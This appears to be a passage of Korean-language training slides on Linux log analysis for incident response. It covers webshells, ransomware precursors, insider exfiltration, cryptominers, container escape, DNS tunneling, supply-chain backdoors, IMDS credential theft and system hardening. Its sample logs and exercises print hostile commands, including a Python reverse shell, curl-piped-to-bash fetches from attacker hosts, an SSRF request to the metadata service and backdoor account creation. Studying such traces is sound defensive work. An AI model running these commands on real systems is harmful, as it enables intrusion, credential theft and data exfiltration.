    grep -oP '\b(?!10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b' $LOG \
    | sort -u
    # /tmp 경로 추출
    echo "[의심 경로]"
    grep -oE '(/tmp|/dev/shm|/var/tmp)/[A-Za-z0-9._-]+' $LOG | sort -u
    # 의심 명령어 추출
    echo "[의심 명령어 조합]"
    grep -E '(curl|wget|nc|base64).*(http|/tmp)' $LOG | sort -u | head -10
    # 신규 계정 생성
    echo "[신규 계정]"
    grep 'useradd\|new user' $LOG | awk '{print $NF}' | sort -u
    이 스크립트는 초동 대응 단계에서 어떤 서버, 어떤 계정, 어떤 IP가 관련되었는지 빠르게 파악하는 데 유용 — SIEM 없는 환경에서 특히 가치 있음
    로그 무결성 확인: 삭제·변조 탐지
    공격자는 흔적을 지우려 한다 — 로그 파일 자체의 이상 징후를 확인하는 것도 중요한 기술이다
    주의
    🔍 로그 변조 탐지 방법
    # 최근 변경된 로그 파일 탐색
    find /var/log -type f -newer /etc/hostname -ls
    # 로그 파일 타임스탬프 확인
    stat /var/log/auth.log
    ls -la /var/log/auth.log*
    # 시간 순서 일관성 확인
    tail -100 /var/log/auth.log | awk '{print $1,$2,$3}' | head -5
    tail -100 /var/log/auth.log | awk '{print $1,$2,$3}' | tail -5
    # 로그 크기 이상 (갑자기 작아졌을 때)
    du -sh /var/log/auth.log*
    🚨 변조 징후 시그널
    시간 순서가 뒤바뀐 로그 엔트리 존재
    로그 파일 mtime이 비정상적으로 최근
    파일 크기가 갑자기 줄어든 로테이션 없이
    특정 시간대 로그가 통째로 없는 경우
    ✅ 대응: auditd FIM으로 /var/log/ 감시 + 원격 로그 서버(syslog-ng/rsyslog remote)
    PART 18
    실전 케이스 스터디 심화편
    웹쉘 · 랜섬웨어 전조 · 공급망 침해 · 내부자 위협 · 클라우드 탈출 시나리오
    ⏱ 90분 | 종합 실습
    보강 설명실전 케이스 스터디 심화편 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    Case G. 웹서버에서 발견된 PHP 웹쉘 흔적
    access_log + error_log + auditd를 연결하면 웹쉘 업로드에서 실행까지 전 과정이 드러난다
    시나리오
    # nginx access_log
    14/Feb/2024:03:22:11 203.0.113.88 "POST /upload/handler.php HTTP/1.1" 200 48
    14/Feb/2024:03:22:45 203.0.113.88 "GET /upload/shell.php?cmd=id HTTP/1.1" 200 142
    14/Feb/2024:03:23:01 203.0.113.88 "GET /upload/shell.php?cmd=cat+/etc/passwd HTTP/1.1" 200 1823
    # auditd - PHP가 쉘 명령 실행
    type=EXECVE ... comm="sh" a0="sh" a1="-c" a2="id" ppid=www-data
    type=EXECVE ... comm="cat" a0="cat" a1="/etc/passwd" uid=33
    🔍 분석 포인트
    • POST → GET 패턴: 업로드 후 실행
    • ?cmd= 파라미터 → 웹쉘 명령 실행
    • auditd: www-data(uid=33)가 sh 실행
    • 웹 프로세스의 자식으로 시스템 명령 호출
    Verdict: Webshell 확인
    즉시 조치
    해당 파일 격리 + 웹서버 일시 중단
    추가 확인
    같은 IP의 다른 요청 전수 조사
    확산 여부
    www-data 권한 이상 사용 확인
    Case H. 랜섬웨어 전조 증상 탐지
    암호화 전 공격자는 반드시 정찰 → 권한 확보 → 백업 삭제 순서를 거친다 — 이 흔적이 로그에 남는다
    주의
    # 정찰 단계 - auditd execve
    04:11:02 find / -name "*.bak" -o -name "*.sql" 2>/dev/null
    04:11:15 df -h && mount | grep -v "proc\|sys\|dev"
    # 백업 삭제 시도
    04:12:01 vssadmin delete shadows /all /quiet # (Windows 연계)
    04:12:01 rm -rf /var/backups/* /home/*/.local/share/Trash/
    # 암호화 직전 - 대량 파일 접근
    04:13:00 type=PATH name="/home/alice/documents/report.docx" nametype=NORMAL
    04:13:00 type=PATH name="/home/alice/documents/report.docx.enc" nametype=CREATE
    🔴 암호화 전 신호
    백업 디렉토리 대량 삭제
    파일 시스템 마운트 정찰
    대용량 파일 목록 조회
    🟡 암호화 진행 신호
    .enc .locked 확장자 생성
    원본 파일 삭제 패턴
    CPU 사용률 급증
    ✅ 조기 차단 기회
    백업 삭제 시점 격리
    쓰기 차단 = 피해 최소화
    스냅샷 즉시 보전
    Case I. 내부자 위협: 정상 계정의 비정상 행동
    외부 공격보다 탐지하기 어려운 내부자 — 행동 패턴의 변화가 핵심 신호다
    분석
    📋 관측 정보
    # 평소 패턴 (UEBA 기준선)
    alice: 09:00~18:00, 내부 IP, 개발 서버만 접속
    # 이상 행동 탐지
    23:45:01 sshd: Accepted publickey for alice from 198.51.100.44
    23:46:12 sudo: alice : COMMAND=/usr/bin/find /var/customer_data -name "*.csv"
    23:47:30 scp: alice → 198.51.100.44: customer_export_2024.csv (48MB)
    23:48:05 sshd: Disconnected from user alice
    정상 계정 + 정상 명령 + 정상 인증 — 하지만 시간·위치·데이터 접근이 모두 비정상
    🔍 내부자 위협 분석 체크리스트
    평소 접근하지 않던 데이터 경로 접근
    업무 시간 외 대량 데이터 조회/복사
    퇴직/징계 예정 직원의 활동 급증
    외부 USB/클라우드로 파일 전송
    평소와 다른 출발지 IP/위치
    자신의 접근 로그 확인 시도
    🚨 고위험 — HR/법무팀 연계 에스컬레이션
    Case J. 크립토마이닝 악성코드 탐지
    자원 도용이 목적이라 은밀히 숨기려 하지만, CPU·네트워크·프로세스 패턴에 반드시 흔적이 남는다
    시나리오
    🔍 탐지 신호
    # 이름 위장 프로세스 (ps aux)
    root /tmp/.x/xmrig --config /tmp/.c.json
    ↑ CPU 90%+ 지속
    # auditd - /tmp에서 실행
    type=EXECVE a0="/tmp/.x/xmrig"
    # 마이닝 풀 연결 (stratum 프로토콜)
    ESTABLISHED src=web01:51234 dst=pool.minexmr.com:4444
    # cron 지속성
    */5 * * * * /tmp/.x/xmrig --config /tmp/.c.json >/dev/null 2>&1
    📋 크립토마이너 4대 특징
    ① 은닉 실행
    /tmp, /dev/shm, .숨김 디렉토리, 이름 위장
    ② 지속성
    cron, systemd 서비스, ~/.bashrc 삽입
    ③ 마이닝 풀 연결
    알려진 풀 도메인/IP로 TCP 4444/3333/443
    ④ 리소스 경쟁 제거
    다른 마이너 kill, SELinux 비활성화
    Case K. 측면 이동(Lateral Movement) 탐지
    초기 침투 서버에서 내부망 다른 서버로 이동하는 흔적 — 내부 SSH + 동일 키 사용이 핵심 신호
    주의
    web01 침투
    외부 → web01: brute force 성공
    auth.log: Accepted from 198.51.100.23
    정찰
    web01에서 내부망 스캔
    netstat, ss, /etc/hosts, ARP
    측면 이동
    web01 → db01 (내부 SSH)
    db01 auth.log: from 10.0.1.10 (web01)
    권한 상승
    db01에서 root 획득
    sudo -l → /bin/bash → root
    목표 달성
    DB 덤프 + 외부 유출
    mysqldump → scp → 외부 IP
    🔍 측면 이동 탐지 포인트
    • db01 로그에 web01 IP에서 SSH 성공
    • web01에서 내부망으로 네트워크 스캔
    • 여러 서버에 동일 시간대 로그인
    • 서버 간 같은 SSH 키 사용 (authorized_keys)
    💡 핵심: 단일 서버 로그만 보면 "정상 내부 접속"처럼 보인다. 여러 서버 로그를 시간순으로 교차 분석할 때만 측면 이동이 보인다.
    Case L. 컨테이너 탈출 시도 탐지
    Docker/K8s 환경에서 컨테이너 밖 호스트로 탈출하는 흔적 — 특권 컨테이너 실행이 핵심 위험
    시나리오
    🐳 컨테이너 탈출 흔적
    # Docker 데몬 로그 (특권 컨테이너)
    docker run --privileged --rm -it ubuntu bash
    # auditd - 컨테이너 내에서 호스트 마운트
    type=SYSCALL syscall=mount ... comm="bash"
    type=PATH name="/host/etc/crontab" nametype=NORMAL
    # nsenter를 통한 호스트 네임스페이스 진입
    type=EXECVE a0="nsenter" a1="--mount=/proc/1/ns/mnt" a2="--" a3="bash"
    # /var/run/docker.sock 마운트 악용
    type=PATH name="/var/run/docker.sock" nametype=NORMAL
    🔒 컨테이너 보안 로그 체크
    --privileged 컨테이너 실행 기록
    docker.sock 마운트 컨테이너
    nsenter / chroot 실행
    컨테이너에서 호스트 파일시스템 접근
    ✅ 방어: Pod Security Policy / Seccomp / AppArmor
    Case M. DNS 터널링으로 데이터 유출
    HTTP가 막혀도 DNS는 대부분 허용 — DNS 쿼리에 데이터를 숨겨 유출하는 고급 기법
    분석
    📡 DNS 터널링 특징
    # 정상 DNS 쿼리
    www.google.com → 142.250.x.x
    # DNS 터널링 쿼리 (base64 인코딩 데이터)
    aGVsbG8=.attacker-c2.com → TXT 레코드
    dXNlcm5hbWU=.attacker-c2.com
    cGFzc3dvcmQ=.attacker-c2.com
    # syslog DNS 쿼리 로그 (bind/unbound)
    named: query: aGVsbG8=.attacker-c2.com TXT from 10.0.1.15
    🔍 탐지 지표
    단일 도메인에 비정상적으로 많은 쿼리
    서브도메인이 길고 랜덤하게 생성
    TXT 레코드 쿼리 급증
    알려지지 않은 외부 DNS 서버 직접 쿼리
    ✅ 대응: DNS 로그 수집 + 엔트로피 분석 + 알려진 터널링 도메인 차단
    보강 설명Case M. DNS 터널링으로 데이터 유출 슬라이드는 HTTP가 막혀도 DNS는 대부분 허용 — DNS 쿼리에 데이터를 숨겨 유출하는 고급 기법 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    명령행경로외부 연결
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    Case N. 소프트웨어 공급망 침해 탐지
    신뢰된 패키지/빌드 서버를 통한 침투 — 정상적인 설치 과정처럼 보이기 때문에 더 위험하다
    주의
    # 패키지 설치 로그 (정상처럼 보임)
    09:15:01 apt-get install -y nodejs=18.2.1-1
    # 설치 직후 이상 행동 - auditd
    09:15:45 type=EXECVE comm="node"
    a0="node" a1="/usr/lib/node_modules/npm/lib/preinstall.js"
    # 위 스크립트가 실행한 명령
    09:15:46 type=EXECVE a0="curl" a1="http://198.51.100.99/backdoor.sh"
    09:15:47 type=EXECVE a0="bash" a1="/tmp/backdoor.sh"
    🔍 공급망 침해 탐지 포인트
    • 패키지 설치 직후 외부 URL 호출
    • npm/pip의 pre/postinstall 스크립트 실행
    • 빌드 서버에서 예상치 못한 외부 연결
    • 패키지 체크섬/서명 불일치
    예방: 내부 패키지 미러 사용 + 허용 외 도메인 차단 + 빌드 서버 네트워크 격리 + SBOM(소프트웨어 자재명세서) 관리
    Case O. 루트킷 존재 의심 — 로그로 파악 가능한 간접 신호
    루트킷은 자신을 숨기지만 완벽하지 않다 — 로그 불일치와 비정상 시스템 동작이 단서가 된다
    분석
    🔍 루트킷 간접 탐지 신호
    ps vs /proc 불일치: ps에 안 보이는 프로세스가 /proc에 존재
    netstat vs ss 불일치: 포트가 한쪽에만 보임
    ls vs find 불일치: ls에 없는 파일이 find에 있음
    dmesg 오류: 알 수 없는 모듈 로드 메시지
    auditd 로그 공백: 특정 PID 활동이 로그에 없음
    🛠️ 루트킷 탐지 도구
    # chkrootkit 실행
    chkrootkit 2>&1 | grep -v "^not infected"
    # rkhunter 실행
    rkhunter --check --skip-keypress
    # /proc vs ps 비교
    for p in /proc/[0-9]*; do
    pid=$(basename $p);
    ps -p $pid &>/dev/null || echo "숨겨진 PID: $pid"
    done
    루트킷이 의심될 때는 감염된 시스템의 명령어를 신뢰하면 안 된다 — 신뢰할 수 있는 라이브 USB나 원격 포렌식 도구 사용
    🏆 CTF 케이스 ①: 누가, 언제, 무엇을 했는가?
    다음 로그 조각에서 공격 흐름을 재구성하고 5가지 항목을 작성하시오
    실습
    # auth.log (일부)
    Jan 21 14:00:01 web02 sshd[4401]: Failed password for root from 172.16.5.99 port 54321 ssh2
    Jan 21 14:00:02 web02 sshd[4402]: Invalid user admin from 172.16.5.99
    ... × 93회 ...
    Jan 21 14:08:44 web02 sshd[4501]: Accepted password for deploy from 172.16.5.99
    Jan 21 14:09:12 web02 sudo[4512]: deploy : COMMAND=/bin/bash
    # syslog (동시간)
    Jan 21 14:10:01 web02 CRON[4601]: (root) CMD (curl -s http://172.16.5.99/c.sh|bash)
    답안 작성 형식
    ① Fact
    [로그 원문 기반으로 작성]
    ② 의심 근거
    [왜 이것이 위험한가]
    ③ 추가 확인
    [어떤 로그/명령으로 확인할 것인가]
    ④ Verdict
    [정상/모니터링/의심/Incident]
    ⑤ Action
    [즉시 취해야 할 조치]
    🏆 CTF 케이스 ① 해설
    내부 IP에서의 브루트포스 → 성공 → sudo bash → 외부 cron — 내부 침해 또는 내부 공격 서버
    시나리오
    모범 답안
    ① Fact
    Jan 21 14:00~14:08, 172.16.5.99에서 web02에 SSH 95회 시도 후 deploy 계정 로그인 성공. 즉시 sudo bash 실행 후 14:10 root crontab에 외부 스크립트 실행 등록.
    ② 의심 근거
    내부 IP(172.16.5.99)이지만 브루트포스 패턴 + 즉시 root 권한 획득 + 외부 URL cron 등록. 내부 서버 침해 후 web02로 측면 이동 가능성.
    ③ 추가 확인
    172.16.5.99 서버 접속 기록 확인 / crontab 내용 수집 / c.sh 파일 분석 / 같은 시간대 다른 서버에서 동일 IP 접근 확인
    ④ Verdict
    고위험 Incident — 내부망 측면 이동 의심
    ⑤ Action
    deploy 계정 즉시 잠금 + cron 제거 + 172.16.5.99 격리 + IR 팀 에스컬레이션
    보강 설명🏆 CTF 케이스 ① 해설 슬라이드는 내부 IP에서의 브루트포스 → 성공 → sudo bash → 외부 cron — 내부 침해 또는 내부 공격 서버 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    계정출발지 IP후속 행위
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    🏆 CTF 케이스 ②: auditd 로그 해석
    auditd EXECVE 이벤트 시퀀스를 보고 공격 행위를 서술하시오
    실습
    # ausearch -sc execve -ts 03/15/2024 03:00 -te 03/15/2024 03:05 -i
    time->Fri Mar 15 03:00:11 2024
    type=SYSCALL auid=1002 uid=0 success=yes comm="python3"
    type=EXECVE argc=3 a0="python3" a1="-c"
    a2="import socket,subprocess;s=socket.socket();s.connect(('203.0.113.55',9001));subprocess.call(['/bin/sh'],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())"
    time->Fri Mar 15 03:00:13 2024
    type=SYSCALL auid=1002 uid=0 success=yes comm="sh"
    type=EXECVE argc=3 a0="sh" a1="-c" a2="useradd -m -s /bin/bash -G sudo backdoor_user"
    💡 분석 힌트
    • auid=1002: 원래 어떤 계정?
    • uid=0: 실제 실행 권한은?
    • python3 -c의 내용은 어떤 행위?
    • 그 다음 sh -c의 목적은?
    핵심 키워드: socket.connect → 역방향 쉘 / useradd -G sudo → 백도어 계정 생성
    위험도: 최고 — 원격 제어 + 지속성 확보 완료
    종합 실습: 5개 로그 소스를 타임라인으로 재구성
    분산된 로그 조각들을 시간순으로 정렬하고 공격 체인을 서술하는 실무 최고의 훈련
    실습
    ?:??
    auth.log
    Accepted publickey for ops01 from 10.10.10.50
    ?:??
    auditd
    execve: python3 -c "import requests; requests.get('http://192.168.1.1/steal?d=...')"
    ?:??
    sudo.log
    ops01 → root : COMMAND=/usr/bin/find /etc -name "*.conf" -exec cat {} \;
    ?:??
    wtmp
    ops01 pts/0 10.10.10.50 Mon Mar 18 02:34 - 02:41 (0:07)
    ?:??
    network
    ESTABLISHED src=app01 dst=192.168.1.1:8080 bytes=48392
    과제: 위 5개 로그를 시간순으로 정렬하고, 공격 흐름을 "누가 → 어디서 → 무엇을 → 왜 위험한가"로 서술하시오 (5분)
    보강 설명종합 실습: 5개 로그 소스를 타임라인으로 재구성 슬라이드는 분산된 로그 조각들을 시간순으로 정렬하고 공격 체인을 서술하는 실무 최고의 훈련 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    FactWhyAction
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    PART 19
    클라우드 환경 Linux 로그 분석
    AWS CloudTrail · EC2 시스템 로그 · GCP Logging · Azure Monitor · IMDSv2 악용
    ⏱ 60분 | 클라우드 심화
    보강 설명클라우드 환경 Linux 로그 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    AWS EC2의 로그 생태계: 온프레미스와 무엇이 다른가
    클라우드에서는 OS 로그 외에 CloudTrail · VPC Flow Logs · GuardDuty가 추가되어 분석이 풍부해진다
    개념
    ☁️ AWS 로그 레이어
    CloudTrail: AWS API 호출 기록
    EC2 생성/삭제, IAM 변경, S3 접근 등
    VPC Flow Logs: 네트워크 트래픽
    src/dst IP, 포트, 허용/거부 여부
    EC2 System Log: 부팅/OS 로그
    콘솔 출력 포함 (SSH 없어도 확인 가능)
    GuardDuty: 위협 탐지 서비스
    인스턴스에서 알려진 C2 연결 등 자동 탐지
    CloudWatch Logs: 커스텀 로그 수집
    auth.log, auditd 등을 CloudWatch로 전송
    🔑 클라우드 특화 공격 벡터
    IMDS 악용: 인스턴스 메타데이터에서 IAM 자격증명 탈취
    IAM 권한 상승: 과도한 권한의 EC2 역할 악용
    S3 데이터 유출: IAM 키로 S3 버킷 데이터 복사
    AMI/스냅샷 탈취: EBS 스냅샷을 통한 디스크 복사
    ✅ IMDSv2 강제 적용으로 SSRF → IMDS 공격 방어
    보강 설명AWS EC2의 로그 생태계: 온프레미스와 무엇이 다른가 슬라이드는 클라우드에서는 OS 로그 외에 CloudTrail · VPC Flow Logs · GuardDuty가 추가되어 분석이 풍부해진다 호스트·컨테이너·중앙 수집 로그를 함께 묶어야 누락이 줄어든다.
    컨테이너호스트수집
    핵심 포인트
    • 컨테이너 로그와 호스트 로그는 보이는 위치가 다르다
    • ephemeral 특성 때문에 중앙 수집이 없으면 흔적이 빠르게 사라진다
    • docker exec·kubectl exec 같은 운영 행위도 감사 대상이다
    추가 확인
    • stdout/stderr·host syslog·kube audit를 함께 보기
    • 컨테이너 내부 root와 호스트 권한의 차이를 구분하기
    • 이미지 변경·재배포·자동 재시작이 흔적을 덮지 않았는지 확인
    실무 적용
    • 워크로드 이름과 노드 이름을 같이 기록해 추적성 확보
    • 컨테이너 탈출 의심 시 호스트 레벨 로그로 바로 확장
    • 클라우드 메타데이터와 연계해 자산 맥락을 보강
    IMDS(인스턴스 메타데이터 서비스) 악용 탐지
    SSRF + IMDSv1 = 클라우드 자격증명 탈취의 고전적 공격 — 로그에서 어떻게 탐지하는가
    주의
    # nginx access_log - SSRF 요청
    203.0.113.10 "GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1" 200 -
    # auditd - 앱 서버에서 IMDS 직접 접근
    type=EXECVE a0="curl" a1="http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"
    # CloudTrail - 획득한 임시 자격증명으로 S3 접근
    {"eventSource":"s3.amazonaws.com","eventName":"ListBuckets",
    "userIdentity":{"type":"AssumedRole","sessionContext":{"sessionIssuer":{"userName":"WebAppRole"}}}}
    "sourceIPAddress":"203.0.113.10" ← 외부 공격자 IP
    🔍 탐지 포인트
    • 169.254.169.254 접근 로그
    • EC2 역할 이름이 외부 IP에서 API 호출
    • 평소 없던 AWS API 호출 패턴
    IMDSv2로 전환하면 TOKEN 없이는 IMDS 접근 불가 — SSRF 공격으로 자격증명 탈취 방어 가능
    CloudTrail로 AWS 위협 탐지
    AWS에서 일어나는 모든 API 호출이 CloudTrail에 기록된다 — 이상 API 패턴이 침해의 증거
    분석
    🚨 위험 CloudTrail 이벤트
    ConsoleLogin with MFA=No + 새로운 IP
    CreateUser / AttachUserPolicy 야간에 발생
    GetSecretValue Secrets Manager 대량 접근
    StopLogging CloudTrail 비활성화 시도
    DeleteTrail 로그 삭제 시도
    AuthorizeSecurityGroupIngress 0.0.0.0/0
    🔍 CloudTrail Athena 분석 예시
    -- 새로운 국가에서 콘솔 로그인 탐지
    SELECT eventtime, sourceipaddress,
    useridentity.username,
    additionalEventData.MFAUsed
    FROM cloudtrail_logs
    WHERE eventsource = 'signin.amazonaws.com'
    AND eventname = 'ConsoleLogin'
    AND responseelements LIKE '%Success%'
    ORDER BY eventtime DESC
    LIMIT 20;
    💡 핵심
    CloudTrail에서 StopLogging / DeleteTrail이 탐지되면 공격자가 이미 높은 권한을 획득했다는 의미 — 즉각적인 IAM 키 교체와 루트 계정 잠금이 필요
    PART 20
    Linux 보안 강화 설정
    SELinux · AppArmor · auditd 정책 · sysctl 하드닝 · SSH 강화
    ⏱ 50분 | 방어 실습
    보강 설명Linux 보안 강화 설정 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    SELinux: 강제 접근 제어로 공격 범위 제한
    root도 정책으로 제어한다 — SELinux 활성화만으로 많은 공격 시나리오가 차단된다
    개념
    🛡️ SELinux 3가지 모드
    Enforcing — 정책 위반 시 차단 + 로그
    ✅ 운영 환경에서 권장
    Permissive — 차단 없이 로그만
    정책 테스트/튜닝 시 임시 사용
    Disabled — 완전 비활성
    ❌ 보안 위험 — 재활성화 시 재레이블링 필요
    # 현재 상태 확인
    getenforce # Enforcing/Permissive/Disabled
    sestatus # 상세 상태
    # 임시 전환
    setenforce 0 # Permissive
    setenforce 1 # Enforcing
    📋 SELinux 로그 분석
    # /var/log/audit/audit.log SELinux 차단
    type=AVC msg=audit(...): avc: denied
    {write} for pid=1234 comm="httpd"
    path="/tmp/shell.php"
    scontext=system_u:system_r:httpd_t:s0
    tcontext=unconfined_u:object_r:tmp_t:s0
    # 해석: httpd가 /tmp에 쓰기 시도 → 차단
    # audit2allow로 허용 규칙 생성 가능
    audit2why < /var/log/audit/audit.log
    SELinux AVC denied 로그는 실제 공격 시도가 차단되고 있다는 증거이기도 하다 — 분석 대상으로 적극 활용
    SSH 강화 설정: 공격 표면 최소화
    sshd_config 한 줄 변경이 수백만 번의 브루트포스를 무력화한다 — 최소 설정 기준선을 지켜라
    개념
    🔒 필수 sshd_config 설정
    # /etc/ssh/sshd_config
    Port 22222 # 기본 포트 변경
    PermitRootLogin no # root 직접 접속 금지
    PasswordAuthentication no # 비밀번호 인증 금지
    PubkeyAuthentication yes # 공개키 인증만 허용
    MaxAuthTries 3 # 최대 인증 시도 3회
    LoginGraceTime 30 # 연결 대기 30초
    AllowUsers alice bob # 허용 사용자 명시
    X11Forwarding no # X11 포워딩 금지
    UseDNS no # DNS 역방향 조회 비활성
    ClientAliveInterval 300 # 유휴 세션 5분 후 끊기
    🛠️ fail2ban 설정 (brute force 방어)
    # /etc/fail2ban/jail.local
    [sshd]
    enabled = true
    maxretry = 5 # 5회 실패 시
    bantime = 3600 # 1시간 차단
    findtime = 600 # 10분 내에
    효과: PasswordAuthentication no 하나만으로 패스워드 브루트포스 100% 차단. 공개키 분실 시 콘솔 접근 방법을 반드시 확보해 둘 것.
    sysctl 커널 파라미터 보안 강화
    커널 수준의 네트워크 · 메모리 보안 설정 — 공격 벡터를 OS 레벨에서 차단한다
    개념
    🔒 핵심 sysctl 보안 설정
    # /etc/sysctl.d/99-security.conf
    # IP 포워딩 비활성 (라우터 아닐 경우)
    net.ipv4.ip_forward = 0
    # SYN flood 방어
    net.ipv4.tcp_syncookies = 1
    # ICMP 리다이렉트 무시
    net.ipv4.conf.all.accept_redirects = 0
    net.ipv4.conf.all.send_redirects = 0
    # 소스 라우팅 비활성
    net.ipv4.conf.all.accept_source_route = 0
    # 역방향 경로 검증
    net.ipv4.conf.all.rp_filter = 1
    # ASLR (메모리 레이아웃 랜덤화)
    kernel.randomize_va_space = 2
    # /proc 접근 제한
    kernel.dmesg_restrict = 1
    kernel.kptr_restrict = 2
    📊 설정 적용 및 확인
    # 즉시 적용
    sysctl -p /etc/sysctl.d/99-security.conf
    # 현재 값 확인
    sysctl net.ipv4.tcp_syncookies
    # 모든 보안 관련 설정 조회
    sysctl -a 2>/dev/null | grep -E "tcp_syn|redirect|rp_filter"
    sysctl 설정은 재부팅 시 리셋될 수 있다 — /etc/sysctl.d/ 파일로 영구 적용하고 sysctl --system으로 확인
    PART 21
    종합 치트시트 & 빠른 참조표
    로그 파일 위치 · 명령어 · 판단 기준 · IOC 체크리스트 · MITRE ATT&CK 매핑
    ⏱ 참조용
    보강 설명종합 치트시트 & 빠른 참조표 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    Linux 로그 파일 위치 완전 치트시트
    어느 로그가 어디에 있는지 외우지 말고, 이 표를 참조하세요 — 현장에서 바로 쓸 수 있는 기준
    분석
    로그 종류 Ubuntu/Debian RHEL/CentOS 핵심 내용
    인증/SSH /var/log/auth.log /var/log/secure 로그인 성공/실패, sudo, su
    시스템 /var/log/syslog /var/log/messages 시스템 일반 로그, 데몬
    커널 /var/log/kern.log / dmesg 커널 메시지, 드라이버
    auditd /var/log/audit/audit.log syscall, 파일 접근, execve
    로그인 이력 /var/log/wtmp, btmp, lastlog last, lastb, lastlog 명령
    cron /var/log/cron.log /var/log/cron 예약 작업 실행 기록
    웹서버 /var/log/nginx/ /var/log/apache2/ access_log, error_log
